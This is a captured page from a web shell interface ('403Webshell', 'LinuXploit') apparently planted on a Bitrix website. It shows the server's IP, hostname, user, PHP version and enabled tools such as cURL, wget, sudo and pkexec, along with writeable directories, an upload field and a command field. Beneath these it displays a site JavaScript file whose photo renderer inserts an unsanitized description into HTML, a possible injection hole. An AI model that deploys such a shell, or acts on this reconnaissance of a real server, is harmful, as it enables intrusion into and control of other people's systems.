403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/location/widget/src/mappopup/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/location/widget/src/mappopup/photo.js
import {Tag} from "main.core";

export default class Photo
{
	#description;
	#url;
	#link;
	#location;
	#title;

	constructor(props)
	{
		this.#url = props.url;
		this.#link = props.link || '';
		this.#description = props.description || '';
		this.#location = props.location;
		this.#title = props.title || '';
	}

	render()
	{
		let description = '';

		if(this.#description)
		{
			//todo: sanitize
			description = Tag.render`<span class="location-map-item-description">${this.#description}</span>`;
		}

		return Tag.render`
			<div class="location-map-photo-item-block">
				<span class="location-map-photo-item-block-image-block-inner">
					${description}
					<span 
						data-viewer data-viewer-type="image" 
						data-src="${this.#link}" 
						data-title="${this.#title}"
						class="location-map-item-photo-image" 
						data-viewer-group-by="${this.#location.externalId}"
						style="background-image: url(${this.#url});">							
					</span>
				</span>
			</div>`;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit